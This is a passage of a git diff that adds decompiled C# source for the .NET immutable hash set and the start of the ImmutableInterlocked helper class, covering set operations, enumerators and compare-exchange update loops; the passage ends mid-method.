+ + void ICollection.Add(T item) + { + Add(item); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + private void Apply(MutationResult result) + { + Root = result.Root; + if (result.CountType == CountType.Adjustment) + { + _count += result.Count; + } + else + { + _count = result.Count; + } + } + } + + public struct Enumerator : IEnumerator, IDisposable, IEnumerator, IStrongEnumerator + { + private readonly Builder _builder; + + private SortedInt32KeyNode.Enumerator _mapEnumerator; + + private HashBucket.Enumerator _bucketEnumerator; + + private int _enumeratingBuilderVersion; + + public T Current + { + get + { + _mapEnumerator.ThrowIfDisposed(); + return _bucketEnumerator.Current; + } + } + + object? IEnumerator.Current => Current; + + internal Enumerator(SortedInt32KeyNode root, Builder? builder = null) + { + _builder = builder; + _mapEnumerator = new SortedInt32KeyNode.Enumerator(root); + _bucketEnumerator = default(HashBucket.Enumerator); + _enumeratingBuilderVersion = builder?.Version ?? (-1); + } + + public bool MoveNext() + { + ThrowIfChanged(); + if (_bucketEnumerator.MoveNext()) + { + return true; + } + if (_mapEnumerator.MoveNext()) + { + _bucketEnumerator = new HashBucket.Enumerator(_mapEnumerator.Current.Value); + return _bucketEnumerator.MoveNext(); + } + return false; + } + + public void Reset() + { + _enumeratingBuilderVersion = ((_builder != null) ? _builder.Version : (-1)); + _mapEnumerator.Reset(); + _bucketEnumerator.Dispose(); + _bucketEnumerator = default(HashBucket.Enumerator); + } + + public void Dispose() + { + _mapEnumerator.Dispose(); + _bucketEnumerator.Dispose(); + } + + private void ThrowIfChanged() + { + if (_builder != null && _builder.Version != _enumeratingBuilderVersion) + { + throw new InvalidOperationException(System.SR.CollectionModifiedDuringEnumeration); + } + } + } + + internal enum OperationResult + { + SizeChanged, + NoChangeRequired + } + + internal readonly struct HashBucket + { + internal struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private enum Position + { + BeforeFirst, + First, + Additional, + End + } + + private readonly HashBucket _bucket; + + private bool _disposed; + + private Position _currentPosition; + + private ImmutableList.Enumerator _additionalEnumerator; + + object? IEnumerator.Current => Current; + + public T Current + { + get + { + ThrowIfDisposed(); + return _currentPosition switch + { + Position.First => _bucket._firstValue, + Position.Additional => _additionalEnumerator.Current, + _ => throw new InvalidOperationException(), + }; + } + } + + internal Enumerator(HashBucket bucket) + { + _disposed = false; + _bucket = bucket; + _currentPosition = Position.BeforeFirst; + _additionalEnumerator = default(ImmutableList.Enumerator); + } + + public bool MoveNext() + { + ThrowIfDisposed(); + if (_bucket.IsEmpty) + { + _currentPosition = Position.End; + return false; + } + switch (_currentPosition) + { + case Position.BeforeFirst: + _currentPosition = Position.First; + return true; + case Position.First: + if (_bucket._additionalElements.IsEmpty) + { + _currentPosition = Position.End; + return false; + } + _currentPosition = Position.Additional; + _additionalEnumerator = new ImmutableList.Enumerator(_bucket._additionalElements); + return _additionalEnumerator.MoveNext(); + case Position.Additional: + return _additionalEnumerator.MoveNext(); + case Position.End: + return false; + default: + throw new InvalidOperationException(); + } + } + + public void Reset() + { + ThrowIfDisposed(); + _additionalEnumerator.Dispose(); + _currentPosition = Position.BeforeFirst; + } + + public void Dispose() + { + _disposed = true; + _additionalEnumerator.Dispose(); + } + + private void ThrowIfDisposed() + { + if (_disposed) + { + Requires.FailObjectDisposed(this); + } + } + } + + private readonly T _firstValue; + + private readonly ImmutableList.Node _additionalElements; + + internal bool IsEmpty => _additionalElements == null; + + private HashBucket(T firstElement, ImmutableList.Node additionalElements = null) + { + _firstValue = firstElement; + _additionalElements = additionalElements ?? ImmutableList.Node.EmptyNode; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + + internal bool EqualsByRef(HashBucket other) + { + if ((object)_firstValue == (object)other._firstValue) + { + return _additionalElements == other._additionalElements; + } + return false; + } + + internal bool EqualsByValue(HashBucket other, IEqualityComparer valueComparer) + { + if (valueComparer.Equals(_firstValue, other._firstValue)) + { + return _additionalElements == other._additionalElements; + } + return false; + } + + internal HashBucket Add(T value, IEqualityComparer valueComparer, out OperationResult result) + { + if (IsEmpty) + { + result = OperationResult.SizeChanged; + return new HashBucket(value); + } + if (valueComparer.Equals(value, _firstValue) || _additionalElements.IndexOf(value, valueComparer) >= 0) + { + result = OperationResult.NoChangeRequired; + return this; + } + result = OperationResult.SizeChanged; + return new HashBucket(_firstValue, _additionalElements.Add(value)); + } + + internal bool Contains(T value, IEqualityComparer valueComparer) + { + if (IsEmpty) + { + return false; + } + if (!valueComparer.Equals(value, _firstValue)) + { + return _additionalElements.IndexOf(value, valueComparer) >= 0; + } + return true; + } + + internal bool TryExchange(T value, IEqualityComparer valueComparer, out T existingValue) + { + if (!IsEmpty) + { + if (valueComparer.Equals(value, _firstValue)) + { + existingValue = _firstValue; + return true; + } + int num = _additionalElements.IndexOf(value, valueComparer); + if (num >= 0) + { + existingValue = _additionalElements.ItemRef(num); + return true; + } + } + existingValue = value; + return false; + } + + internal HashBucket Remove(T value, IEqualityComparer equalityComparer, out OperationResult result) + { + if (IsEmpty) + { + result = OperationResult.NoChangeRequired; + return this; + } + if (equalityComparer.Equals(_firstValue, value)) + { + if (_additionalElements.IsEmpty) + { + result = OperationResult.SizeChanged; + return default(HashBucket); + } + int count = _additionalElements.Left.Count; + result = OperationResult.SizeChanged; + return new HashBucket(_additionalElements.Key, _additionalElements.RemoveAt(count)); + } + int num = _additionalElements.IndexOf(value, equalityComparer); + if (num < 0) + { + result = OperationResult.NoChangeRequired; + return this; + } + result = OperationResult.SizeChanged; + return new HashBucket(_firstValue, _additionalElements.RemoveAt(num)); + } + + internal void Freeze() + { + _additionalElements?.Freeze(); + } + } + + private readonly struct MutationInput + { + private readonly SortedInt32KeyNode _root; + + private readonly IEqualityComparer _equalityComparer; + + private readonly int _count; + + private readonly IEqualityComparer _hashBucketEqualityComparer; + + internal SortedInt32KeyNode Root => _root; + + internal IEqualityComparer EqualityComparer => _equalityComparer; + + internal int Count => _count; + + internal IEqualityComparer HashBucketEqualityComparer => _hashBucketEqualityComparer; + + internal MutationInput(ImmutableHashSet set) + { + Requires.NotNull(set, "set"); + _root = set._root; + _equalityComparer = set._equalityComparer; + _count = set._count; + _hashBucketEqualityComparer = set._hashBucketEqualityComparer; + } + + internal MutationInput(SortedInt32KeyNode root, IEqualityComparer equalityComparer, IEqualityComparer hashBucketEqualityComparer, int count) + { + Requires.NotNull(root, "root"); + Requires.NotNull(equalityComparer, "equalityComparer"); + Requires.Range(count >= 0, "count"); + Requires.NotNull(hashBucketEqualityComparer, "hashBucketEqualityComparer"); + _root = root; + _equalityComparer = equalityComparer; + _count = count; + _hashBucketEqualityComparer = hashBucketEqualityComparer; + } + } + + private enum CountType + { + Adjustment, + FinalValue + } + + private readonly struct MutationResult + { + private readonly SortedInt32KeyNode _root; + + private readonly int _count; + + private readonly CountType _countType; + + internal SortedInt32KeyNode Root => _root; + + internal int Count => _count; + + internal CountType CountType => _countType; + + internal MutationResult(SortedInt32KeyNode root, int count, CountType countType = CountType.Adjustment) + { + Requires.NotNull(root, "root"); + _root = root; + _count = count; + _countType = countType; + } + + internal ImmutableHashSet Finalize(ImmutableHashSet priorSet) + { + Requires.NotNull(priorSet, "priorSet"); + int num = Count; + if (CountType == CountType.Adjustment) + { + num += priorSet._count; + } + return priorSet.Wrap(Root, num); + } + } + + private readonly struct NodeEnumerable : IEnumerable, IEnumerable + { + private readonly SortedInt32KeyNode _root; + + internal NodeEnumerable(SortedInt32KeyNode root) + { + Requires.NotNull(root, "root"); + _root = root; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + public static readonly ImmutableHashSet Empty = new ImmutableHashSet(SortedInt32KeyNode.EmptyNode, EqualityComparer.Default, 0); + + private static readonly Action> s_FreezeBucketAction = delegate(KeyValuePair kv) + { + kv.Value.Freeze(); + }; + + private readonly IEqualityComparer _equalityComparer; + + private readonly int _count; + + private readonly SortedInt32KeyNode _root; + + private readonly IEqualityComparer _hashBucketEqualityComparer; + + public int Count => _count; + + public bool IsEmpty => Count == 0; + + public IEqualityComparer KeyComparer => _equalityComparer; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + internal IBinaryTree Root => _root; + + private MutationInput Origin => new MutationInput(this); + + bool ICollection.IsReadOnly => true; + + internal ImmutableHashSet(IEqualityComparer equalityComparer) + : this(SortedInt32KeyNode.EmptyNode, equalityComparer, 0) + { + } + + private ImmutableHashSet(SortedInt32KeyNode root, IEqualityComparer equalityComparer, int count) + { + Requires.NotNull(root, "root"); + Requires.NotNull(equalityComparer, "equalityComparer"); + root.Freeze(s_FreezeBucketAction); + _root = root; + _count = count; + _equalityComparer = equalityComparer; + _hashBucketEqualityComparer = GetHashBucketEqualityComparer(equalityComparer); + } + + public ImmutableHashSet Clear() + { + if (!IsEmpty) + { + return Empty.WithComparer(_equalityComparer); + } + return this; + } + + IImmutableSet IImmutableSet.Clear() + { + return Clear(); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableHashSet Add(T item) + { + return Add(item, Origin).Finalize(this); + } + + public ImmutableHashSet Remove(T item) + { + return Remove(item, Origin).Finalize(this); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + int key = ((equalValue != null) ? _equalityComparer.GetHashCode(equalValue) : 0); + if (_root.TryGetValue(key, out var value)) + { + return value.TryExchange(equalValue, _equalityComparer, out actualValue); + } + actualValue = equalValue; + return false; + } + + public ImmutableHashSet Union(IEnumerable other) + { + Requires.NotNull(other, "other"); + return Union(other, avoidWithComparer: false); + } + + public ImmutableHashSet Intersect(IEnumerable other) + { + Requires.NotNull(other, "other"); + return Intersect(other, Origin).Finalize(this); + } + + public ImmutableHashSet Except(IEnumerable other) + { + Requires.NotNull(other, "other"); + return Except(other, _equalityComparer, _hashBucketEqualityComparer, _root).Finalize(this); + } + + public ImmutableHashSet SymmetricExcept(IEnumerable other) + { + Requires.NotNull(other, "other"); + return SymmetricExcept(other, Origin).Finalize(this); + } + + public bool SetEquals(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (this == other) + { + return true; + } + return SetEquals(other, Origin); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + return IsProperSubsetOf(other, Origin); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + return IsProperSupersetOf(other, Origin); + } + + public bool IsSubsetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + return IsSubsetOf(other, Origin); + } + + public bool IsSupersetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + return IsSupersetOf(other, Origin); + } + + public bool Overlaps(IEnumerable other) + { + Requires.NotNull(other, "other"); + return Overlaps(other, Origin); + } + + IImmutableSet IImmutableSet.Add(T item) + { + return Add(item); + } + + IImmutableSet IImmutableSet.Remove(T item) + { + return Remove(item); + } + + IImmutableSet IImmutableSet.Union(IEnumerable other) + { + return Union(other); + } + + IImmutableSet IImmutableSet.Intersect(IEnumerable other) + { + return Intersect(other); + } + + IImmutableSet IImmutableSet.Except(IEnumerable other) + { + return Except(other); + } + + IImmutableSet IImmutableSet.SymmetricExcept(IEnumerable other) + { + return SymmetricExcept(other); + } + + public bool Contains(T item) + { + return Contains(item, Origin); + } + + public ImmutableHashSet WithComparer(IEqualityComparer? equalityComparer) + { + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (equalityComparer == _equalityComparer) + { + return this; + } + ImmutableHashSet immutableHashSet = new ImmutableHashSet(equalityComparer); + return immutableHashSet.Union(this, avoidWithComparer: true); + } + + bool ISet.Add(T item) + { + throw new NotSupportedException(); + } + + void ISet.ExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.IntersectWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.SymmetricExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.UnionWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array.SetValue(current, arrayIndex++); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + private static bool IsSupersetOf(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + foreach (T item in other.GetEnumerableDisposable()) + { + if (!Contains(item, origin)) + { + return false; + } + } + return true; + } + + private static MutationResult Add(T item, MutationInput origin) + { + int num = ((item != null) ? origin.EqualityComparer.GetHashCode(item) : 0); + OperationResult result; + HashBucket newBucket = origin.Root.GetValueOrDefault(num).Add(item, origin.EqualityComparer, out result); + if (result == OperationResult.NoChangeRequired) + { + return new MutationResult(origin.Root, 0); + } + SortedInt32KeyNode root = UpdateRoot(origin.Root, num, origin.HashBucketEqualityComparer, newBucket); + return new MutationResult(root, 1); + } + + private static MutationResult Remove(T item, MutationInput origin) + { + OperationResult result = OperationResult.NoChangeRequired; + int num = ((item != null) ? origin.EqualityComparer.GetHashCode(item) : 0); + SortedInt32KeyNode root = origin.Root; + if (origin.Root.TryGetValue(num, out var value)) + { + HashBucket newBucket = value.Remove(item, origin.EqualityComparer, out result); + if (result == OperationResult.NoChangeRequired) + { + return new MutationResult(origin.Root, 0); + } + root = UpdateRoot(origin.Root, num, origin.HashBucketEqualityComparer, newBucket); + } + return new MutationResult(root, (result == OperationResult.SizeChanged) ? (-1) : 0); + } + + private static bool Contains(T item, MutationInput origin) + { + int key = ((item != null) ? origin.EqualityComparer.GetHashCode(item) : 0); + if (origin.Root.TryGetValue(key, out var value)) + { + return value.Contains(item, origin.EqualityComparer); + } + return false; + } + + private static MutationResult Union(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + int num = 0; + SortedInt32KeyNode sortedInt32KeyNode = origin.Root; + foreach (T item in other.GetEnumerableDisposable()) + { + int num2 = ((item != null) ? origin.EqualityComparer.GetHashCode(item) : 0); + OperationResult result; + HashBucket newBucket = sortedInt32KeyNode.GetValueOrDefault(num2).Add(item, origin.EqualityComparer, out result); + if (result == OperationResult.SizeChanged) + { + sortedInt32KeyNode = UpdateRoot(sortedInt32KeyNode, num2, origin.HashBucketEqualityComparer, newBucket); + num++; + } + } + return new MutationResult(sortedInt32KeyNode, num); + } + + private static bool Overlaps(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + if (origin.Root.IsEmpty) + { + return false; + } + foreach (T item in other.GetEnumerableDisposable()) + { + if (Contains(item, origin)) + { + return true; + } + } + return false; + } + + private static bool SetEquals(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + HashSet hashSet = new HashSet(other, origin.EqualityComparer); + if (origin.Count != hashSet.Count) + { + return false; + } + foreach (T item in hashSet) + { + if (!Contains(item, origin)) + { + return false; + } + } + return true; + } + + private static SortedInt32KeyNode UpdateRoot(SortedInt32KeyNode root, int hashCode, IEqualityComparer hashBucketEqualityComparer, HashBucket newBucket) + { + bool replacedExistingValue; + if (newBucket.IsEmpty) + { + return root.Remove(hashCode, out replacedExistingValue); + } + bool mutated; + return root.SetItem(hashCode, newBucket, hashBucketEqualityComparer, out replacedExistingValue, out mutated); + } + + private static MutationResult Intersect(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + SortedInt32KeyNode root = SortedInt32KeyNode.EmptyNode; + int num = 0; + foreach (T item in other.GetEnumerableDisposable()) + { + if (Contains(item, origin)) + { + MutationResult mutationResult = Add(item, new MutationInput(root, origin.EqualityComparer, origin.HashBucketEqualityComparer, num)); + root = mutationResult.Root; + num += mutationResult.Count; + } + } + return new MutationResult(root, num, CountType.FinalValue); + } + + private static MutationResult Except(IEnumerable other, IEqualityComparer equalityComparer, IEqualityComparer hashBucketEqualityComparer, SortedInt32KeyNode root) + { + Requires.NotNull(other, "other"); + Requires.NotNull(equalityComparer, "equalityComparer"); + Requires.NotNull(root, "root"); + int num = 0; + SortedInt32KeyNode sortedInt32KeyNode = root; + foreach (T item in other.GetEnumerableDisposable()) + { + int num2 = ((item != null) ? equalityComparer.GetHashCode(item) : 0); + if (sortedInt32KeyNode.TryGetValue(num2, out var value)) + { + OperationResult result; + HashBucket newBucket = value.Remove(item, equalityComparer, out result); + if (result == OperationResult.SizeChanged) + { + num--; + sortedInt32KeyNode = UpdateRoot(sortedInt32KeyNode, num2, hashBucketEqualityComparer, newBucket); + } + } + } + return new MutationResult(sortedInt32KeyNode, num); + } + + private static MutationResult SymmetricExcept(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + ImmutableHashSet immutableHashSet = ImmutableHashSet.CreateRange(origin.EqualityComparer, other); + int num = 0; + SortedInt32KeyNode root = SortedInt32KeyNode.EmptyNode; + foreach (T item in new NodeEnumerable(origin.Root)) + { + if (!immutableHashSet.Contains(item)) + { + MutationResult mutationResult = Add(item, new MutationInput(root, origin.EqualityComparer, origin.HashBucketEqualityComparer, num)); + root = mutationResult.Root; + num += mutationResult.Count; + } + } + foreach (T item2 in immutableHashSet) + { + if (!Contains(item2, origin)) + { + MutationResult mutationResult2 = Add(item2, new MutationInput(root, origin.EqualityComparer, origin.HashBucketEqualityComparer, num)); + root = mutationResult2.Root; + num += mutationResult2.Count; + } + } + return new MutationResult(root, num, CountType.FinalValue); + } + + private static bool IsProperSubsetOf(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + if (origin.Root.IsEmpty) + { + return other.Any(); + } + HashSet hashSet = new HashSet(other, origin.EqualityComparer); + if (origin.Count >= hashSet.Count) + { + return false; + } + int num = 0; + bool flag = false; + foreach (T item in hashSet) + { + if (Contains(item, origin)) + { + num++; + } + else + { + flag = true; + } + if (num == origin.Count && flag) + { + return true; + } + } + return false; + } + + private static bool IsProperSupersetOf(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + if (origin.Root.IsEmpty) + { + return false; + } + int num = 0; + foreach (T item in other.GetEnumerableDisposable()) + { + num++; + if (!Contains(item, origin)) + { + return false; + } + } + return origin.Count > num; + } + + private static bool IsSubsetOf(IEnumerable other, MutationInput origin) + { + Requires.NotNull(other, "other"); + if (origin.Root.IsEmpty) + { + return true; + } + HashSet hashSet = new HashSet(other, origin.EqualityComparer); + int num = 0; + foreach (T item in hashSet) + { + if (Contains(item, origin)) + { + num++; + } + } + return num == origin.Count; + } + + private static ImmutableHashSet Wrap(SortedInt32KeyNode root, IEqualityComparer equalityComparer, int count) + { + Requires.NotNull(root, "root"); + Requires.NotNull(equalityComparer, "equalityComparer"); + Requires.Range(count >= 0, "count"); + return new ImmutableHashSet(root, equalityComparer, count); + } + + private static IEqualityComparer GetHashBucketEqualityComparer(IEqualityComparer valueComparer) + { + if (!ImmutableExtensions.IsValueType()) + { + return HashBucketByRefEqualityComparer.DefaultInstance; + } + if (valueComparer == EqualityComparer.Default) + { + return HashBucketByValueEqualityComparer.DefaultInstance; + } + return new HashBucketByValueEqualityComparer(valueComparer); + } + + private ImmutableHashSet Wrap(SortedInt32KeyNode root, int adjustedCountIfDifferentRoot) + { + if (root == _root) + { + return this; + } + return new ImmutableHashSet(root, _equalityComparer, adjustedCountIfDifferentRoot); + } + + private ImmutableHashSet Union(IEnumerable items, bool avoidWithComparer) + { + Requires.NotNull(items, "items"); + if (IsEmpty && !avoidWithComparer && items is ImmutableHashSet immutableHashSet) + { + return immutableHashSet.WithComparer(KeyComparer); + } + return Union(items, Origin).Finalize(this); + } +} +public static class ImmutableHashSet +{ + public static ImmutableHashSet Create() + { + return ImmutableHashSet.Empty; + } + + public static ImmutableHashSet Create(IEqualityComparer? equalityComparer) + { + return ImmutableHashSet.Empty.WithComparer(equalityComparer); + } + + public static ImmutableHashSet Create(T item) + { + return ImmutableHashSet.Empty.Add(item); + } + + public static ImmutableHashSet Create(IEqualityComparer? equalityComparer, T item) + { + return ImmutableHashSet.Empty.WithComparer(equalityComparer).Add(item); + } + + public static ImmutableHashSet CreateRange(IEnumerable items) + { + return ImmutableHashSet.Empty.Union(items); + } + + public static ImmutableHashSet CreateRange(IEqualityComparer? equalityComparer, IEnumerable items) + { + return ImmutableHashSet.Empty.WithComparer(equalityComparer).Union(items); + } + + public static ImmutableHashSet Create(params T[] items) + { + return ImmutableHashSet.Empty.Union(items); + } + + public static ImmutableHashSet Create(IEqualityComparer? equalityComparer, params T[] items) + { + return ImmutableHashSet.Empty.WithComparer(equalityComparer).Union(items); + } + + public static ImmutableHashSet.Builder CreateBuilder() + { + return Create().ToBuilder(); + } + + public static ImmutableHashSet.Builder CreateBuilder(IEqualityComparer? equalityComparer) + { + return Create(equalityComparer).ToBuilder(); + } + + public static ImmutableHashSet ToImmutableHashSet(this IEnumerable source, IEqualityComparer? equalityComparer) + { + if (source is ImmutableHashSet immutableHashSet) + { + return immutableHashSet.WithComparer(equalityComparer); + } + return ImmutableHashSet.Empty.WithComparer(equalityComparer).Union(source); + } + + public static ImmutableHashSet ToImmutableHashSet(this ImmutableHashSet.Builder builder) + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } + + public static ImmutableHashSet ToImmutableHashSet(this IEnumerable source) + { + return source.ToImmutableHashSet(null); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableInterlocked.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableInterlocked.cs new file mode 100644 index 0000000..33c407f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableInterlocked.cs @@ -0,0 +1,330 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Collections.Immutable; + +public static class ImmutableInterlocked +{ + public static bool Update(ref T location, Func transformer) where T : class? + { + Requires.NotNull(transformer, "transformer"); + T val = Volatile.Read(in location); + bool flag; + do + { + T val2 = transformer(val); + if (val == val2) + { + return false; + } + T val3 = Interlocked.CompareExchange(ref location, val2, val); + flag = val == val3; + val = val3; + } + while (!flag); + return true; + } + + public static bool Update(ref T location, Func transformer, TArg transformerArgument) where T : class? + { + Requires.NotNull(transformer, "transformer"); + T val = Volatile.Read(in location); + bool flag; + do + { + T val2 = transformer(val, transformerArgument); + if (val == val2) + { + return false; + } + T val3 = Interlocked.CompareExchange(ref location, val2, val); + flag = val == val3; + val = val3; + } + while (!flag); + return true; + } + + public static bool Update(ref ImmutableArray location, Func, ImmutableArray> transformer) + { + Requires.NotNull(transformer, "transformer"); + T[] array = Volatile.Read(in Unsafe.AsRef(in location.array)); + bool flag; + do + { + ImmutableArray immutableArray = transformer(new ImmutableArray(array)); + if (array == immutableArray.array) + { + return false; + } + T[] array2 = Interlocked.CompareExchange(ref Unsafe.AsRef(in location.array), immutableArray.array, array); + flag = array == array2; + array = array2; + } + while (!flag); + return true; + } + + public static bool Update(ref ImmutableArray location, Func, TArg, ImmutableArray> transformer, TArg transformerArgument) + { + Requires.NotNull(transformer, "transformer"); + T[] array = Volatile.Read(in Unsafe.AsRef(in location.array)); + bool flag; + do + { + ImmutableArray immutableArray = transformer(new ImmutableArray(array), transformerArgument); + if (array == immutableArray.array) + { + return false; + } + T[] array2 = Interlocked.CompareExchange(ref Unsafe.AsRef(in location.array), immutableArray.array, array); + flag = array == array2; + array = array2; + } + while (!flag); + return true; + } + + public static ImmutableArray InterlockedExchange(ref ImmutableArray location, ImmutableArray value) + { + return new ImmutableArray(Interlocked.Exchange(ref Unsafe.AsRef(in location.array), value.array)); + } + + public static ImmutableArray InterlockedCompareExchange(ref ImmutableArray location, ImmutableArray value, ImmutableArray comparand) + { + return new ImmutableArray(Interlocked.CompareExchange(ref Unsafe.AsRef(in location.array), value.array, comparand.array)); + } + + public static bool InterlockedInitialize(ref ImmutableArray location, ImmutableArray value) + { + return InterlockedCompareExchange(ref location, value, default(ImmutableArray)).IsDefault; + } + + public static TValue GetOrAdd(ref ImmutableDictionary location, TKey key, Func valueFactory, TArg factoryArgument) where TKey : notnull + { + Requires.NotNull(valueFactory, "valueFactory"); + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + Requires.NotNull(immutableDictionary, "location"); + if (immutableDictionary.TryGetValue(key, out var value)) + { + return value; + } + value = valueFactory(key, factoryArgument); + return GetOrAdd(ref location, key, value); + } + + public static TValue GetOrAdd(ref ImmutableDictionary location, TKey key, Func valueFactory) where TKey : notnull + { + Requires.NotNull(valueFactory, "valueFactory"); + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + Requires.NotNull(immutableDictionary, "location"); + if (immutableDictionary.TryGetValue(key, out var value)) + { + return value; + } + value = valueFactory(key); + return GetOrAdd(ref location, key, value); + } + + public static TValue GetOrAdd(ref ImmutableDictionary location, TKey key, TValue value) where TKey : notnull + { + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + if (immutableDictionary.TryGetValue(key, out var value2)) + { + return value2; + } + ImmutableDictionary value3 = immutableDictionary.Add(key, value); + ImmutableDictionary immutableDictionary2 = Interlocked.CompareExchange(ref location, value3, immutableDictionary); + flag = immutableDictionary == immutableDictionary2; + immutableDictionary = immutableDictionary2; + } + while (!flag); + return value; + } + + public static TValue AddOrUpdate(ref ImmutableDictionary location, TKey key, Func addValueFactory, Func updateValueFactory) where TKey : notnull + { + Requires.NotNull(addValueFactory, "addValueFactory"); + Requires.NotNull(updateValueFactory, "updateValueFactory"); + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + TValue val; + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + val = ((!immutableDictionary.TryGetValue(key, out var value)) ? addValueFactory(key) : updateValueFactory(key, value)); + ImmutableDictionary immutableDictionary2 = immutableDictionary.SetItem(key, val); + if (immutableDictionary == immutableDictionary2) + { + return value; + } + ImmutableDictionary immutableDictionary3 = Interlocked.CompareExchange(ref location, immutableDictionary2, immutableDictionary); + flag = immutableDictionary == immutableDictionary3; + immutableDictionary = immutableDictionary3; + } + while (!flag); + return val; + } + + public static TValue AddOrUpdate(ref ImmutableDictionary location, TKey key, TValue addValue, Func updateValueFactory) where TKey : notnull + { + Requires.NotNull(updateValueFactory, "updateValueFactory"); + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + TValue val; + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + val = (TValue)((!immutableDictionary.TryGetValue(key, out var value)) ? ((object)addValue) : ((object)updateValueFactory(key, value))); + ImmutableDictionary immutableDictionary2 = immutableDictionary.SetItem(key, val); + if (immutableDictionary == immutableDictionary2) + { + return value; + } + ImmutableDictionary immutableDictionary3 = Interlocked.CompareExchange(ref location, immutableDictionary2, immutableDictionary); + flag = immutableDictionary == immutableDictionary3; + immutableDictionary = immutableDictionary3; + } + while (!flag); + return val; + } + + public static bool TryAdd(ref ImmutableDictionary location, TKey key, TValue value) where TKey : notnull + { + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + if (immutableDictionary.ContainsKey(key)) + { + return false; + } + ImmutableDictionary value2 = immutableDictionary.Add(key, value); + ImmutableDictionary immutableDictionary2 = Interlocked.CompareExchange(ref location, value2, immutableDictionary); + flag = immutableDictionary == immutableDictionary2; + immutableDictionary = immutableDictionary2; + } + while (!flag); + return true; + } + + public static bool TryUpdate(ref ImmutableDictionary location, TKey key, TValue newValue, TValue comparisonValue) where TKey : notnull + { + EqualityComparer equalityComparer = EqualityComparer.Default; + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + if (!immutableDictionary.TryGetValue(key, out var value) || !equalityComparer.Equals(value, comparisonValue)) + { + return false; + } + ImmutableDictionary value2 = immutableDictionary.SetItem(key, newValue); + ImmutableDictionary immutableDictionary2 = Interlocked.CompareExchange(ref location, value2, immutableDictionary); + flag = immutableDictionary == immutableDictionary2; + immutableDictionary = immutableDictionary2; + } + while (!flag); + return true; + } + + public static bool TryRemove(ref ImmutableDictionary location, TKey key, 